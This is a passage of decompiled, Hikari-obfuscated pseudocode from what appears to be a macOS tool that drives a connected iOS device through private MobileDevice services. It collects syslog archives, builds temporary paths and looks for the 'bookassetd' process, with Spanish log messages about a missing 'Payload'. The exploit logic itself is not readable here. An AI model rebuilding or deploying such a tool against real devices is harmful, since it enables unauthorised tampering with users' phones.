v7 = 1099117565;
goto LABEL_547;
case 1113733355:
*v97 = -1491255472;
break;
}
}
}
else if ( v61 <= 1394064647 )
{
switch ( v61 )
{
case 1195597657:
v3 = 0;
v4 = -1713380632;
v5 = 812334543;
goto LABEL_543;
case 1311737609:
*v97 = -2049994263;
break;
case 1359045179:
*v97 = -1117585390;
break;
}
}
else if ( v61 > 1436848803 )
{
if ( v61 == 1436848804 )
{
*v97 = 1531649106;
}
else if ( v61 == 1440531680 )
{
*v97 = -1229988949;
}
}
else
{
if ( v61 == 1394064648 )
goto LABEL_404;
if ( v61 == 1410400802 )
{
free(keys);
free(v63);
CFRelease(v80);
HikariFunctionWrapper_16947();
*v97 = -1854348697;
}
}
}
else if ( v61 > 1536827524 )
{
if ( v61 <= 1572411395 )
{
switch ( v61 )
{
case 1536827525:
v3 = 0;
v4 = 486592628;
v5 = -205431324;
goto LABEL_543;
case 1542726646:
v2 = 1081420572;
v1 = 2852312291LL;
v3 = 0;
v4 = 400448875;
v5 = -1090802633;
goto LABEL_543;
case 1556483131:
*v97 = -1722712331;
break;
}
}
else if ( v61 > 1590840366 )
{
if ( v61 == 1590840367 )
{
v28 = CFDictionaryGetCount((CFDictionaryRef)v75);
HikariFunctionWrapper_16937(8 * v28);
*v97 = -1421627145;
}
else if ( v61 == 1591279962 )
{
*v97 = 1709646153;
}
}
else if ( v61 == 1572411396 )
{
v27 = -261283230;
if ( v93 )
v27 = 281899893;
*v97 = v27;
v53 = v52;
v74 = -1;
}
else if ( v61 == 1585074246 )
{
*v97 = 1065383567;
}
}
else if ( v61 <= 1476771971 )
{
switch ( v61 )
{
case 1444071350:
v1 = 2134825471;
v6 = 1;
v4 = -1969026830;
v7 = -1425859546;
goto LABEL_547;
case 1450620177:
v10 = 0;
v4 = 449943532;
v11 = -1300438269;
goto LABEL_529;
case 1475002027:
CFRelease(v80);
*v97 = -1310798195;
break;
}
}
else if ( v61 > 1511539491 )
{
if ( v61 == 1511539492 )
{
*v97 = 281899893;
v74 = v57;
}
else if ( v61 == 1531649106 )
{
v1 = 27647520;
v6 = 1;
v4 = 1436848804;
v7 = -729431557;
goto LABEL_547;
}
}
else if ( v61 == 1476771972 )
{
*v97 = -933343417;
}
else if ( v61 == 1477312984 )
{
v6 = 0;
v4 = 1709646153;
v7 = 1591279962;
goto LABEL_547;
}
}
if ( v61 > 1844838575 )
break;
if ( v61 > 1698047902 )
{
if ( v61 <= 1726027309 )
{
switch ( v61 )
{
case 1698047903:
CFGetTypeID(keys[v70]);
CFStringGetTypeID();
*v97 = 733955082;
break;
case 1709646153:
v1 = 2095349231;
v6 = 0;
v4 = 1572411396;
v7 = 1709646153;
LABEL_547:
if ( v6 )
v4 = v7;
goto LABEL_549;
case 1711025989:
v10 = 0;
v4 = 1476771972;
v11 = -933343417;
goto LABEL_529;
}
}
else if ( v61 > 1790178560 )
{
if ( v61 == 1790178561 )
{
*v97 = -1107933132;
}
else if ( v61 == 1828763615 )
{
NSLog(CFSTR("⇷滇᧓ꕆ쭰ݫ邕醞金䆔䊗娹꣕뮵ḙ帝螸ℳ椳뺼鞦渳 䕟갑՜恐\xEA\xDD輪㋢팂ჽﳔꛎ拍뉆꽴鍹꿷뽕"));
*v97 = -1033872542;
}
}
else if ( v61 == 1726027310 )
{
error = (CFErrorRef *)(&v35 - 2);
v64 = &v35 - 2;
v65 = &v35 - 2;
v71 = (unsigned int *)(&v35 - 2);
*v95 = 0;
v2 = (__int64)CFSTR("\xF9\xE4\x46\xF2\xB7\x03\xAFN\xCC\x69a\x04\x82E+\xF2\x56\x1B\x5A\xF6\x61\xB3\xEF\x87");
started = AMDeviceSecureStartService(v45);
v82 = started == 0;
v36 = *v95;
*v97 = 323026168;
}
else if ( v61 == 1728954922 )
{
HikariFunctionWrapper_16931(CFSTR("⇷滇᧓ꕆ쭰ݫ邕醞金䆔䊗娹꣕뮵ḙ帝螸ℳ椳뺼鞦渳 䕟갑՜恐\xEA\xDD輪㋢팂ჽﳔꛎ拍뉆꽴鍹꿷뽕"));
*v97 = 372285581;
}
}
else if ( v61 <= 1665229994 )
{
switch ( v61 )
{
case 1605143577:
v60 = v68;
v1 = 545259916;
v6 = 0;
v4 = 989532834;
v7 = -765854297;
goto LABEL_547;
case 1607318565:
v1 = 1842524143;
v3 = 1;
v4 = 1511539492;
v5 = 1607318565;
LABEL_543:
if ( !v3 )
v4 = v5;
goto LABEL_549;
case 1623599027:
v2 = (__int64)"intValue";
v15 = (unsigned int)HikariFunctionWrapper_16911(*v51, "intValue");
v3 = 1;
v57 = v15;
v4 = -589331178;
LABEL_465:
v5 = 1623599027;
goto LABEL_543;
}
}
else if ( v61 > 1680777613 )
{
if ( v61 == 1680777614 )
{
v2 = v78;
NSLog(CFSTR("\x1BS\x9DZf\xB13uo\x80\x139\x14\xDB\xD5\xAB-\xB7\x8Fu\x18QP\x0E\xCB\xFC"), v78);
*v97 = 896507340;
}
else if ( v61 == 1684247699 )
{
*v97 = -1229988949;
}
}
else if ( v61 == 1665229995 )
{
*v97 = 920118369;
v67 = -1;
}
else if ( v61 == 1666824416 )
{
*v97 = 20635714;
}
}
if ( v61 <= 2030568809 )
break;
if ( v61 <= 2061265535 )
{
switch ( v61 )
{
case 2030568810:
v2 = 2627862528LL;
v1 = 2902459968LL;
v8 = 0;
v4 = 95304875;
v9 = 8388184;
goto LABEL_538;
case 2051398418:
v10 = 0;
v52 = v70 + 1;
v4 = 204078879;
v11 = -944379304;
goto LABEL_529;
case 2057108476:
aE_14[23] = v79;
aE_14[24] = 32;
aE_14[25] = 110;
aE_14[26] = 111;
aE_14[27] = 32;
aE_14[28] = 101;
aE_14[29] = 115;
aE_14[30] = 32;
aE_14[31] = 100;
aE_14[32] = 105;
aE_14[33] = 99;
aE_14[34] = 99;
aE_14[35] = 105;
aE_14[36] = 111;
aE_14[37] = 110;
aE_14[38] = 97;
aE_14[39] = 114;
aE_14[40] = 105;
aE_14[41] = 111;
aE_14[42] = 0;
asc_1002787F5[0] = 80;
asc_1002787F5[1] = 105;
asc_1002787F5[2] = 100;
asc_1002787F5[3] = 76;
asc_1002787F5[4] = 105;
asc_1002787F5[5] = 115;
asc_1002787F5[6] = 116;
asc_1002787F5[7] = 0;
strcpy(asc_1002786B3, "ProcessName");
strcpy(aS_7, "[+] PID de bookassetd: %d");
aA_9[0] = 91;
aA_9[1] = 33;
aA_9[2] = 93;
aA_9[3] = 32;
aA_9[4] = 78;
aA_9[5] = 111;
aA_9[6] = 32;
aA_9[7] = 115;
aA_9[8] = 101;
aA_9[9] = 32;
aA_9[10] = 101;
aA_9[11] = 110;
aA_9[12] = 99;
aA_9[13] = 111;
aA_9[14] = 110;
aA_9[15] = 116;
aA_9[16] = 114;
aA_9[17] = 243;
aA_9[18] = 32;
aA_9[19] = 80;
aA_9[20] = 97;
aA_9[21] = 121;
aA_9[22] = 108;
v2 = 27701;
v1 = 55432;
aA_9[23] = 111;
aA_9[24] = 97;
aA_9[25] = 100;
aA_9[26] = 0;
strcpy(asc_1002786CA, "bookassetd");
strcpy(asc_1002787D0, "[!] bookassetd no encontrado");
asc_100278670[0] = 91;
asc_100278670[1] = 33;
asc_100278670[2] = 93;
asc_100278670[3] = 32;
*v97 = -483123006;
break;
}
}
else if ( v61 > 2109584181 )
{
if ( v61 == 2109584182 )
{
*v97 = 1542726646;
}
else if ( v61 == 2145083405 )
{
v6 = 0;
v4 = -2086470970;
v7 = 597079967;
goto LABEL_547;
}
}
else
{
if ( v61 == 2061265536 )
{
v2 = 1037456387;
v1 = 1357148588;
v3 = 0;
v4 = 1048987780;
v5 = -2041197734;
goto LABEL_543;
}
if ( v61 == 2081715669 )
*v97 = -1765254874;
}
}
if ( v61 > 1880943677 )
break;
switch ( v61 )
{
case 1844838576:
v1 = 1991767122;
v3 = 1;
v4 = -889214420;
v5 = 1844838576;
goto LABEL_543;
case 1847446839:
v8 = 0;
v4 = 3341227;
v9 = 636871817;
goto LABEL_538;
case 1866762945:
*v97 = 1536827525;
break;
}
}
if ( v61 <= 1967040226 )
break;
if ( v61 == 1967040227 )
{
AMDServiceConnectionInvalidate(v46, v2, v1);
*v97 = -1737583592;
}
else if ( v61 == 2009927415 )
{
v13 = HikariFunctionWrapper_16913(
(const __CFAllocator *)0xFFFFFFFFFFFFFFFFLL,
0,
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks);
v2 = (__int64)CFSTR("\xE7\xCD\x81&\xD6\xE4B");
HikariFunctionWrapper_16915(v13, CFSTR("\xE7\xCD\x81&\xD6\xE4B"), CFSTR("\xEB\xF6\x7C/N\xB9\x9F\xA5"));
*error = 0;
*v97 = -2022822142;
}
}
if ( v61 == 1880943678 )
{
v1 = 1210873236;
v3 = 0;
v4 = 204078879;
v5 = 2051398418;
goto LABEL_543;
}
}
while ( v61 != 1947524877 );
return v60;
}
// 1000CE76B: variable 'v1' is possibly undefined
// 1000CE7B1: variable 'v21' is possibly undefined
// 1000CE881: variable 'v23' is possibly undefined
// 1000CF1A7: variable 'v29' is possibly undefined
// 100256144: using guessed type __int64 __fastcall AMDServiceConnectionInvalidate(_QWORD, _QWORD, _QWORD);
// 10025614A: using guessed type __int64 __fastcall AMDServiceConnectionReceive(_QWORD);
// 100256150: using guessed type __int64 __fastcall AMDServiceConnectionSend(_QWORD);
// 100256186: using guessed type __int64 __fastcall AMDeviceSecureStartService(_QWORD);
// 100278720: using guessed type __int16 aA_9[27];
// 100278860: using guessed type __int16 aE_14[43];
// 100278920: using guessed type __CFString stru_100278920;
// 1002789A0: using guessed type __CFString stru_1002789A0;
// 1002789E0: using guessed type __CFString stru_1002789E0;
// 100278A20: using guessed type __CFString stru_100278A20;
// 100278A60: using guessed type __CFString stru_100278A60;
// 100278AE0: using guessed type __CFString stru_100278AE0;
// 100278B60: using guessed type __CFString stru_100278B60;
// 10029F508: using guessed type int dword_10029F508;
//----- (00000001000D074E) ----------------------------------------------------
id __fastcall RandomTmpPath(id a1)
{
bool v1; // zf
int v2; // eax
int v3; // ecx
char v4; // cf
int v5; // ecx
id v6; // rax
id v7; // r12
NSString *v8; // rax
NSString *v9; // r13
id v10; // rax
id v11; // r14
NSUUID *v12; // rax
char v13; // cf
int v14; // ecx
id v15; // rax
id v16; // r12
NSString *v17; // rax
NSString *v18; // r13
id v19; // rax
id v20; // rax
id v21; // rax
const char *v23; // [rsp+0h] [rbp-60h]
id v24; // [rsp+8h] [rbp-58h]
int v25; // [rsp+18h] [rbp-48h]
int v26; // [rsp+1Ch] [rbp-44h] BYREF
id v27; // [rsp+20h] [rbp-40h]
bool v28; // [rsp+2Fh] [rbp-31h]
int *v29; // [rsp+30h] [rbp-30h]
v26 = -1672801231;
v29 = &v26;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v26 > 423984439 )
{
if ( v26 > 1065465381 )
{
if ( v26 <= 1294173000 )
{
if ( v26 > 1122735818 )
{
if ( v26 == 1122735819 )
{
v13 = 0;
v2 = -1380083577;
v14 = 1122735819;
goto LABEL_92;
}
if ( v26 == 1210727925 )
*v29 = -783822286;
}
else
{
if ( v26 == 1065465382 )
{
v25 = dword_10029F50C;
v2 = 949830673;
goto LABEL_94;
}
if ( v26 == 1089126042 )
{
v6 = objc_msgSend(v27, v23);
v7 = objc_retainAutoreleasedReturnValue(v6);
objc_release(v27);
v8 = +[NSString stringWithFormat:](
&OBJC_CLASS___NSString,
"stringWithFormat:",
CFSTR("\x97AJ\xCB\x5D\x91"),
v7,
a1);
v9 = objc_retainAutoreleasedReturnValue(v8);
objc_release(a1);
v10 = HikariFunctionWrapper_16955(CFSTR("\xFD\x84\xB5t#"), "stringByAppendingPathComponent:");
v11 = objc_retainAutoreleasedReturnValue(v10);
objc_release(v9);
objc_release(v7);
objc_autoreleaseReturnValue(v11);
*v29 = 1294173001;
}
}
}
else if ( v26 <= 1832963407 )
{
if ( v26 == 1294173001 )
{
v15 = objc_msgSend(v27, v23);
v16 = objc_retainAutoreleasedReturnValue(v15);
objc_release(v27);
v17 = +[NSString stringWithFormat:](
&OBJC_CLASS___NSString,
"stringWithFormat:",
CFSTR("\x97AJ\xCB\x5D\x91"),
v16,
a1);
v18 = objc_retainAutoreleasedReturnValue(v17);
objc_release(a1);
v19 = HikariFunctionWrapper_16953(CFSTR("\xFD\x84\xB5t#"), "stringByAppendingPathComponent:");
v24 = objc_retainAutoreleasedReturnValue(v19);
objc_release(v18);
objc_release(v16);
objc_autoreleaseReturnValue(v24);
v2 = -482544918;
goto LABEL_94;
}
if ( v26 == 1731174457 )
*v29 = 463741652;
}
else
{
switch ( v26 )
{
case 1832963408:
v13 = 1;
v2 = 1731174457;
v14 = 463741652;
LABEL_92:
if ( v13 )
v2 = v14;
goto LABEL_94;
case 1952486348:
v4 = 0;
asc_100278BD0[0] = 37;
asc_100278BD0[1] = 64;
asc_100278BD0[2] = 46;
asc_100278BD0[3] = 37;
v2 = 1984386316;
v5 = 423984440;
LABEL_82:
if ( !v4 )
v2 = v5;
LABEL_94:
*v29 = v2;
break;
case 1984386316:
asc_100278BD0[0] = 37;
asc_100278BD0[1] = 64;
asc_100278BD0[2] = 46;
asc_100278BD0[3] = 37;
*v29 = 1952486348;
break;
}
}
}
else if ( v26 <= 576394103 )
{
if ( v26 > 463741651 )
{
if ( v26 == 463741652 )
{
v4 = 1;
v23 = "UUIDString";
v2 = -914104768;
v5 = 1731174457;
goto LABEL_82;
}
if ( v26 == 470617899 )
{
dword_10029F50C = 1;
objc_retain(a1);
v12 = +[NSUUID UUID](&OBJC_CLASS___NSUUID, "UUID");
objc_retainAutoreleasedReturnValue(v12);
*v29 = -584159840;
}
}
else if ( v26 == 423984440 )
{
*v29 = -1534815993;
}
else if ( v26 == 458025057 )
{
*v29 = 1122735819;
}
}
else if ( v26 <= 949830672 )
{
if ( v26 == 576394104 )
{
v4 = 1;
v2 = 1122735819;
v5 = 458025057;
goto LABEL_82;
}
if ( v26 == 658533186 )
{
v13 = 0;
asc_100278BD0[4] = 64;
v2 = -308551401;
v14 = 658533186;
goto LABEL_92;
}
}
else
{
switch ( v26 )
{
case 949830673:
*v29 = -99601558;
break;
case 950753895:
*v29 = 576394104;
break;
case 1058244127:
v1 = 0;
v2 = 1089126042;
v3 = 1294173001;
goto LABEL_87;
}
}
}
if ( v26 > -783822287 )
break;
if ( v26 <= -1380083578 )
{
if ( v26 > -1534815994 )
{
if ( v26 == -1534815993 )
{
v4 = 1;
v2 = 658533186;
v5 = -698386246;
goto LABEL_82;
}
if ( v26 == -1434851976 )
*v29 = 1065465382;
}
else
{
if ( v26 == -1672801231 )
{
v2 = 1065465382;
goto LABEL_94;
}
if ( v26 == -1622730099 )
{
asc_100278BD0[5] = 0;
asc_100278BC5[0] = 47;
asc_100278BC5[1] = 116;
asc_100278BC5[2] = 109;
asc_100278BC5[3] = 112;
asc_100278BC5[4] = 0;
*v29 = -898288435;
}
}
}
else if ( v26 <= -914104769 )
{
if ( v26 == -1380083577 )
{
v1 = !v28;
v2 = -783822286;
v3 = -44624563;
goto LABEL_87;
}
if ( v26 == -1251499594 )
{
v4 = 1;
v2 = -898288435;
v5 = -1622730099;
goto LABEL_82;
}
}
else
{
switch ( v26 )
{
case -914104768:
*v29 = 1058244127;
break;
case -898288435:
v1 = 0;
asc_100278BD0[5] = 0;
asc_100278BC5[0] = 47;
asc_100278BC5[1] = 116;
asc_100278BC5[2] = 109;
asc_100278BC5[3] = 112;
asc_100278BC5[4] = 0;
v2 = -1622730099;
v3 = 1210727925;
LABEL_87:
if ( !v1 )
v2 = v3;
goto LABEL_94;
case -895958092:
v28 = v25 == 0;
v4 = 0;
v2 = -435161120;
v5 = 950753895;
goto LABEL_82;
}
}
}
if ( v26 <= -377503338 )
break;
if ( v26 > -99601559 )
{
if ( v26 == -99601558 )
{
v2 = -895958092;
goto LABEL_94;
}
if ( v26 == -44624563 )
{
v13 = 1;
v2 = 1984386316;
v14 = 1952486348;
goto LABEL_92;
}
}
else if ( v26 == -377503337 )
{
*v29 = 1832963408;
}
else if ( v26 == -308551401 )
{
*v29 = -1251499594;
}
}
if ( v26 > -584159841 )
break;
if ( v26 == -783822286 )
{
v2 = -584159840;
goto LABEL_94;
}
if ( v26 == -698386246 )
{
asc_100278BD0[4] = 64;
*v29 = 658533186;
}
}
if ( v26 == -584159840 )
{
dword_10029F50C = 1;
objc_retain(a1);
v20 = HikariFunctionWrapper_16951(&OBJC_CLASS___NSUUID, "UUID");
v21 = objc_retainAutoreleasedReturnValue(v20);
v1 = 0;
v27 = v21;
v2 = -584159840;
v3 = -377503337;
goto LABEL_87;
}
if ( v26 != -435161120 )
break;
*v29 = -895958092;
}
}
while ( v26 != -482544918 );
return v24;
}
// 1000D08AA: variable 'v25' is possibly undefined
// 1000D09E5: variable 'v23' is possibly undefined
// 1000D127B: variable 'v24' is possibly undefined
// 100278C00: using guessed type __CFString stru_100278C00;
// 100278C40: using guessed type __CFString stru_100278C40;
// 10029F50C: using guessed type int dword_10029F50C;
//----- (00000001000D128E) ----------------------------------------------------
__int64 __fastcall CollectSyslogArchive(__int64 a1, __int64 a2, __int64 a3, unsigned int a4, unsigned int a5)
{
void *v5; // r15
__int64 v6; // rcx
int v7; // eax
char v8; // cf
int v9; // eax
int v10; // ecx
bool v11; // zf
int v12; // ecx
bool v13; // zf
int v14; // ecx
id v15; // rax
id v16; // rax
id v17; // rax
NSArray *v18; // rax
NSArray *v19; // rbx
NSPipe *v20; // rax
NSPipe *v21; // rbx
id v22; // rax
id v23; // rbx
char v24; // cf
int v25; // ecx
__int64 v26; // rdx
NSString *v27; // rax
NSString *v28; // rbx
NSUUID *v29; // rax
NSUUID *v30; // rax
id v31; // rax
id v32; // rax
NSString *v33; // rax
NSString *v34; // rax
NSString *v35; // rax
id v36; // rax
id v37; // rbx
id v38; // rax
id v39; // rax
id v40; // rax
unsigned __int8 v41; // al
id v42; // rax
void *v43; // rax
id v44; // rax
int v45; // eax
__int64 v46; // rdx
NSString *v47; // rax
id v48; // rax
id v49; // rax
NSString *v50; // rax
id v51; // rax
id v52; // rax
id v53; // rax
id v54; // rax
id v55; // rbx
const __CFData *v56; // rax
id v57; // rax
id v58; // rbx
id v59; // rax
id v60; // rbx
id v61; // rax
id v62; // r14
id v63; // rax
id v64; // rax
NSPipe *v65; // rax
NSPipe *v66; // r14
id v67; // rax
id v68; // rbx
id v69; // rax
id v70; // rax
id v71; // r13
id v72; // rax
id v73; // rax
id v74; // rax
id v75; // rbx
id v76; // rax
const UInt8 *BytePtr; // rax
NSString *v78; // rax
NSString *v79; // rbx
id v80; // rax
id v81; // r13
id v82; // rax
id v83; // r15
id v84; // rax
id v85; // r14
id v86; // rax
void *v87; // rdi
id v88; // rax
id v89; // rax
id v90; // rax
id v91; // rbx
id v92; // rax
id v93; // rbx
id v94; // rax
id v95; // rbx
__CFString *v96; // rax
const __CFData *v97; // rax
id v98; // rax
id v99; // rax
id v100; // rax
id v101; // rax
id v102; // rax
id v103; // rax
__int64 v104; // rax
int v105; // eax
CFIndex v106; // rax
id v107; // rax
id v108; // rax
__int64 v110; // [rsp+0h] [rbp-350h] BYREF
id v111; // [rsp+8h] [rbp-348h]
SEL v112; // [rsp+10h] [rbp-340h]
__int64 v113; // [rsp+18h] [rbp-338h]
const UInt8 *v114; // [rsp+20h] [rbp-330h]
unsigned __int64 v115; // [rsp+28h] [rbp-328h]
id v116; // [rsp+30h] [rbp-320h]
id v117; // [rsp+38h] [rbp-318h]
id v118; // [rsp+40h] [rbp-310h]
SEL v119; // [rsp+48h] [rbp-308h]
id v120; // [rsp+50h] [rbp-300h]
__int64 v121; // [rsp+58h] [rbp-2F8h]
SEL v122; // [rsp+60h] [rbp-2F0h]
const char *v123; // [rsp+68h] [rbp-2E8h]
const char *v124; // [rsp+70h] [rbp-2E0h]
SEL v125; // [rsp+78h] [rbp-2D8h]
SEL v126; // [rsp+80h] [rbp-2D0h]
SEL v127; // [rsp+88h] [rbp-2C8h]
SEL v128; // [rsp+90h] [rbp-2C0h]
SEL v129; // [rsp+98h] [rbp-2B8h]
SEL v130; // [rsp+A0h] [rbp-2B0h]
SEL v131; // [rsp+A8h] [rbp-2A8h]
SEL v132; // [rsp+B0h] [rbp-2A0h]
SEL v133; // [rsp+B8h] [rbp-298h]
SEL v134; // [rsp+C0h] [rbp-290h]
NSString *p_isa; // [rsp+C8h] [rbp-288h]
id v136; // [rsp+D0h] [rbp-280h]
unsigned __int64 v137; // [rsp+D8h] [rbp-278h]
CFErrorRef *error; // [rsp+E0h] [rbp-270h]
id v139; // [rsp+E8h] [rbp-268h]
id v140; // [rsp+F0h] [rbp-260h]
id v141; // [rsp+F8h] [rbp-258h]
SEL v142; // [rsp+100h] [rbp-250h]
__int64 v143; // [rsp+108h] [rbp-248h]
__int64 v144; // [rsp+110h] [rbp-240h]
__int64 v145; // [rsp+118h] [rbp-238h]
__int64 v146; // [rsp+120h] [rbp-230h]
SEL v147; // [rsp+128h] [rbp-228h]
const char *v148; // [rsp+130h] [rbp-220h]
const char *v149; // [rsp+138h] [rbp-218h]
__int64 v150; // [rsp+140h] [rbp-210h]
__int64 v151; // [rsp+148h] [rbp-208h]
void *v152; // [rsp+150h] [rbp-200h]
__int64 v153; // [rsp+158h] [rbp-1F8h]
id v154; // [rsp+160h] [rbp-1F0h]
id v155; // [rsp+168h] [rbp-1E8h]
id v156; // [rsp+170h] [rbp-1E0h]
id v157; // [rsp+178h] [rbp-1D8h]
SEL v158; // [rsp+180h] [rbp-1D0h]
id v159; // [rsp+188h] [rbp-1C8h]
id v160; // [rsp+190h] [rbp-1C0h]
SEL v161; // [rsp+198h] [rbp-1B8h]
id v162; // [rsp+1A0h] [rbp-1B0h]
void *v163; // [rsp+1A8h] [rbp-1A8h]
NSString *format; // [rsp+1B0h] [rbp-1A0h]
void *v165; // [rsp+1B8h] [rbp-198h]
__int64 v166; // [rsp+1C0h] [rbp-190h]
int v167; // [rsp+1C8h] [rbp-188h]
int v168; // [rsp+1CCh] [rbp-184h]
unsigned int started; // [rsp+1D0h] [rbp-180h]
int v170; // [rsp+1D4h] [rbp-17Ch] BYREF
unsigned __int8 *v171; // [rsp+1D8h] [rbp-178h]
CFIndex v172; // [rsp+1E0h] [rbp-170h]
CFIndex length; // [rsp+1E8h] [rbp-168h]
id v174; // [rsp+1F0h] [rbp-160h]
id v175; // [rsp+1F8h] [rbp-158h]
__int64 v176; // [rsp+200h] [rbp-150h]
__int64 *v177; // [rsp+208h] [rbp-148h]
__int64 *v178; // [rsp+210h] [rbp-140h]
__int64 *v179; // [rsp+218h] [rbp-138h]
id v180; // [rsp+220h] [rbp-130h]
CFAllocatorRef allocator; // [rsp+228h] [rbp-128h]
UInt8 *bytes; // [rsp+230h] [rbp-120h]
CFDataRef data; // [rsp+238h] [rbp-118h]
id v184; // [rsp+240h] [rbp-110h]
size_t __size; // [rsp+248h] [rbp-108h]
SEL v186; // [rsp+250h] [rbp-100h]
id v187; // [rsp+258h] [rbp-F8h]
unsigned int v188; // [rsp+260h] [rbp-F0h]
unsigned int v189; // [rsp+264h] [rbp-ECh]
unsigned int *v190; // [rsp+268h] [rbp-E8h]
__int64 *v191; // [rsp+270h] [rbp-E0h]
CFDataRef theData; // [rsp+278h] [rbp-D8h]
id v193; // [rsp+280h] [rbp-D0h]
void *v194; // [rsp+288h] [rbp-C8h]
SEL v195; // [rsp+290h] [rbp-C0h]
id v196; // [rsp+298h] [rbp-B8h]
unsigned int v197; // [rsp+2A4h] [rbp-ACh]
SEL v198; // [rsp+2A8h] [rbp-A8h]
id v199; // [rsp+2B0h] [rbp-A0h]
id v200; // [rsp+2B8h] [rbp-98h]
id v201; // [rsp+2C0h] [rbp-90h]
id v202; // [rsp+2C8h] [rbp-88h]
__int64 *v203; // [rsp+2D0h] [rbp-80h]
id v204; // [rsp+2D8h] [rbp-78h]
__int64 *v205; // [rsp+2E0h] [rbp-70h]
__int64 *v206; // [rsp+2E8h] [rbp-68h]
id v207; // [rsp+2F0h] [rbp-60h]
bool v208; // [rsp+2FAh] [rbp-56h]
bool v209; // [rsp+2FBh] [rbp-55h]
bool v210; // [rsp+2FCh] [rbp-54h]
bool v211; // [rsp+2FDh] [rbp-53h]
bool v212; // [rsp+2FEh] [rbp-52h]
bool v213; // [rsp+2FFh] [rbp-51h]
bool v214; // [rsp+300h] [rbp-50h]
bool v215; // [rsp+301h] [rbp-4Fh]
bool v216; // [rsp+302h] [rbp-4Eh]
bool v217; // [rsp+303h] [rbp-4Dh]
bool v218; // [rsp+304h] [rbp-4Ch]
bool v219; // [rsp+305h] [rbp-4Bh]
bool v220; // [rsp+306h] [rbp-4Ah]
bool v221; // [rsp+307h] [rbp-49h]
bool v222; // [rsp+308h] [rbp-48h]
unsigned __int8 v223; // [rsp+309h] [rbp-47h]
bool v224; // [rsp+30Ah] [rbp-46h]
unsigned __int8 v225; // [rsp+30Bh] [rbp-45h]
bool v226; // [rsp+30Ch] [rbp-44h]
bool v227; // [rsp+30Dh] [rbp-43h]
unsigned __int8 v228; // [rsp+30Eh] [rbp-42h]
unsigned __int8 v229; // [rsp+30Fh] [rbp-41h]
__int64 *v230; // [rsp+310h] [rbp-40h]
int *v231; // [rsp+318h] [rbp-38h]
__int64 v232; // [rsp+320h] [rbp-30h]
v189 = a5;
v197 = a4;
v176 = a3;
v5 = (void *)a2;
v166 = a1;
v232 = -1;
v167 = 1181199339;
v170 = 1389413023;
v231 = &v170;
LODWORD(v6) = 0;
v137 = 0xFFFFFFFF00000000LL;
v165 = (void *)a2;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
v7 = v170;
if ( v170 > -127527854 )
break;
if ( v170 > -1153747999 )
{
if ( v170 <= -682516282 )
{
if ( v170 > -935164179 )
{
if ( v170 <= -806412738 )
{
if ( v170 > -864584581 )
{
if ( v170 > -853955928 )
{
switch ( v170 )
{
case -853955927:
a2 = (__int64)v198;
objc_msgSend(v204, v198, v180, CFSTR("\xF7\x60\x56\x953\x84bV\x98"));
objc_release(v180);
*v231 = -602184242;
break;
case -850239538:
*v231 = -1328817182;
break;
case -825554005:
*v231 = 1117300661;
break;
}
}
else
{
switch ( v170 )
{
case -864584580:
*v231 = -1815796158;
break;
case -861470375:
a3 = 603738;
v11 = 0;
v9 = 1747380703;
v12 = 1129679766;
goto LABEL_957;
case -856137428:
*v231 = 1098626483;
break;
}
}
}
else if ( v170 > -880655726 )
{
switch ( v170 )
{
case -880655725:
asc_100278CB0[3] = 32;
asc_100278CB0[4] = 67;
asc_100278CB0[5] = 97;
asc_100278CB0[6] = 114;
asc_100278CB0[7] = 112;
asc_100278CB0[8] = 101;
asc_100278CB0[9] = 116;
asc_100278CB0[10] = 97;
asc_100278CB0[11] = 32;
asc_100278CB0[12] = 108;
asc_100278CB0[13] = 111;
asc_100278CB0[14] = 103;
asc_100278CB0[15] = 97;
asc_100278CB0[16] = 114;
asc_100278CB0[17] = 99;
asc_100278CB0[18] = 104;
asc_100278CB0[19] = 105;
asc_100278CB0[20] = 118;
asc_100278CB0[21] = 101;
asc_100278CB0[22] = 32;
asc_100278CB0[23] = 101;
asc_100278CB0[24] = 108;
asc_100278CB0[25] = 105;
asc_100278CB0[26] = 109;
asc_100278CB0[27] = 105;
asc_100278CB0[28] = 110;
asc_100278CB0[29] = 97;
asc_100278CB0[30] = 100;
asc_100278CB0[31] = 97;
asc_100278CB0[32] = 0;
asc_100277EC3[0] = 82;
asc_100277EC3[1] = 101;
asc_100277EC3[2] = 113;
asc_100277EC3[3] = 117;
asc_100277EC3[4] = 101;
asc_100277EC3[5] = 115;
asc_100277EC3[6] = 116;
asc_100277EC3[7] = 0;
strcpy(aS_8, "[!] Error al descomprimir");
strcpy(asc_100278D90, "[!] No se pudo eliminar el .tar");
LOBYTE(v6) = -8;
a3 = (unsigned int)v6;
LOBYTE(a3) = -16;
v13 = 0;
v9 = -1421908990;
v14 = -880655725;
goto LABEL_962;
case -870242737:
v11 = !v214;
v9 = -591779131;
v12 = -1506661364;
goto LABEL_957;
case -870239299:
LABEL_500:
*v231 = -1914546963;
break;
}
}
else
{
switch ( v170 )
{
case -935164178:
a2 = 4070972940LL;
a3 = 2147516416LL;
v24 = 0;
v9 = -1129514568;
v25 = -331616310;
goto LABEL_972;
case -906156984:
*v231 = 1736074041;
break;
case -883307420:
v36 = HikariFunctionWrapper_17007(v140, "numberWithUnsignedLongLong:");
v37 = objc_retainAutoreleasedReturnValue(v36);
a2 = (__int64)v198;
HikariFunctionWrapper_17009(v204, v198);
objc_release(v37);
*v231 = 122308437;
break;
}
}
}
else if ( v170 <= -743247496 )
{
if ( v170 > -778208851 )
{
switch ( v170 )
{
case -778208850:
v13 = 0;
v9 = -1560449626;
v14 = -1905117393;
goto LABEL_962;
case -763361471:
*v231 = 2093728258;
break;
case -752349269:
a3 = 10769738;
v8 = 1;
v9 = -1925640617;
v10 = 2029345219;
goto LABEL_979;
}
}
else
{
switch ( v170 )
{
case -806412737:
*v231 = -1992211347;
break;
case -804854737:
*v231 = -304537670;
break;
case -788615216:
*v231 = 568079127;
break;
}
}
}
else if ( v170 <= -729125184 )
{
switch ( v170 )
{
case -743247495:
*v231 = -1946273073;
break;
case -740930683:
HikariFunctionWrapper_17013(&cfstr_Y_9.isa);
*v231 = 652218532;
break;
case -736115092:
a3 = 1161154970;
v24 = 1;
v9 = -352079416;
v25 = -736115092;
goto LABEL_972;
}
}
else if ( v170 > -709822865 )
{
if ( v170 == -709822864 )
{
a2 = 4044979203LL;
